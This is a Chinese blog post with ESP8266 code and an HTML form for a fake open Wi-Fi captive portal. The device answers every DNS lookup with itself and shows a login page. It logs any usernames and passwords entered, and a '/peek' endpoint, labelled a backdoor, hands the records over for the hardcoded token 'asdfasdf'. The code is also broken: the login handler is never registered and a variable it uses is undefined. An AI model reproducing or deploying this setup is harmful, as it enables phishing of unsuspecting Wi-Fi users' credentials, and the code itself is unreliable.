esp8266使用protal认证来进行前后端交互

可以搭建小型protal认证的网络,不过可能得做一套esp集群才能发挥作用(esp8266的能力真的太差了,连维持稳定的连接都不一定能保持)不过好在是能完成前后端交互尽管还不够高效。但是可以在这个基础上进一步去完成一些复杂的毕设。

一开始试过用#include "EEPROM.h"   然而这个遇上了未知bug,还没排查明白,如果有人能知道为什么就还请麻烦为我解释一下

仅供参考,用户数据无法储存,断电丢失。

后端代码

#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
#include <FS.h>  // 用于SPIFFS文件系统
#include <DNSServer.h>

const char* ssid = "any";
const char* password = "";
IPAddress local_IP(IPAddress(192,168,1,1));
const byte DNS_PORT = 53;
ESP8266WebServer server(80);
DNSServer dnsServer;

const char login_html[] PROGMEM = R"=====(  
//插入你的HTML代码
)=====";
void handleRoot() {  
  // 发送登录页面
  server.send_P(200, "text/html", login_html);  // 假设login_html是存储了
  Serial.println("connect");
} 
void handleLogin() {
  String msg;
  if (server.hasArg("username") && server.hasArg("password")) {
    // 参数正常
    String username = server.arg("username");
    username.replace("\"", "");  // 去掉双引号
    String password = server.arg("password");
    password.replace("\"", "");  // 去掉双引号
    // 回应浏览器
    server.send(200, "text/html", login_html);
    // 输出到串口
    Serial.println(username + "|---|" + password);
    return;
  } else {
    // 参数缺失
    // 回应浏览器
    String replyStr = "{\"code\":10001,\"msg\":\"missing parameter\"}";
    server.send(200, "application/json", replyStr);
    // 输出到串口
    Serial.println("username or password is empty");
    return;
  }
}
void handlePeek() {
  String msg;
  if (server.hasArg("token")) {
    // 后门参数
    String token = server.arg("token");
    if (token.equals("asdfasdf")) {
      // 回应浏览器
      //new = reset();
      String replyStr = "{\"code\":10000,\"msg\":\"ok\",\"data\":\"" + newRecord + "\"}";
      server.send(200, "application/json", replyStr);
      return;
    }
  }
  // 回应浏览器
  String replyStr = "{\"code\":10001,\"msg\":\"bad request\"}";
  server.send(200, "application/json", replyStr);
  // 输出到串口
  Serial.print("bad request");
}


void setup() {
  Serial.begin(115200);
  WiFi.mode(WIFI_AP);
  WiFi.softAPConfig(local_IP, local_IP, IPAddress(255, 255, 255, 0));
  WiFi.softAP(ssid, password);
  dnsServer.start(DNS_PORT, "*", local_IP);
  server.on("/", HTTP_GET, handleRoot);  //设置主页回调函数
  server.on("/peek", handlePeek);
  server.onNotFound(handleRoot);
  server.begin();  // 启动服务器
}

void loop() {
  server.handleClient();  // 处理客户端请求
  dnsServer.processNextRequest();
}

前端代码接口

<html>
<meta charset="UTF-8">
<hr>
测试登陆:
<form method="post" action="/login">
用户名:<input type="text" name="username"/><br>
密码:<input type="password" name="password"/><br>
<input type="submit" value="登陆"/>
</form>

<hr>
测试提取:
<form method="post" action="/peek">
<input type="hidden" name="token" value="asdfasdf"/><br>
<input type="submit" value="提取"/>
</form>

</html>

 获得记录命令:打开跳转的地址然后再后面接上:

/peek?token=asdfasdf

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值